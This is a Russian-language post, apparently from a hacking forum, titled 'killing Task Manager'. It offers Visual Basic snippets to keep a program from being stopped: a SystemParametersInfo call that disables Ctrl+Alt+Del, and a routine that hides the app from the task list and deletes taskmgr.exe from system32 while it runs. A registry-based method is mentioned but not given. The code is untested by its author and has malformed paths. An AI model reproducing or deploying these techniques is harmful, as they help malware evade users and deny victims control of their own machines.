• XSS.stack #1 – первый литературный журнал от юзеров форума

Visual Basic: Убиваем таск менеджер

Winux

Старожил форума
Легенда
Регистрация
12.11.2004
Сообщения
6 358
Реакции
53
Короче говоря есть способ который скрывает в таск менеджере прогу. Как выяснилось, работает сабж только со старой виндой. Есть несколько свежих идеек.

Оригинал:

Код:
Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Sub DisableCTRLaltDEL(huh As Boolean)
'Disable CTRL+ALT+DEL'
GD = SystemParametersInfo(97, huh, CStr(1), 0)
End Sub
Примерно так

первая:

Код:
private sub form_load()
killtaskmngr true
app.taskvisible = false
end sub
public sub killtaskmngr(do_it as boolean)
if do_it = true then
 filecopy "c:windowssystem32taskmgr.exe", "c:taskmgr.exe"
 kill "c:windowssystem32taskmgr.exe"
else
 filecopy "c:taskmgr.exe", "c:windowssystem32taskmgr.exe"
end if
end sub
public sub form1_unload(cancel as integer)
killtaskmngr false
end sub
Пути не прописывал) Лень. Ну идея понятна.
Вторая заключается в отключении сабжа через реестр. Пока не знаю где ключ хранится - как узнаю - напишу.

Как думаете, идея хлам или пойдет? На себе не пробовал.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх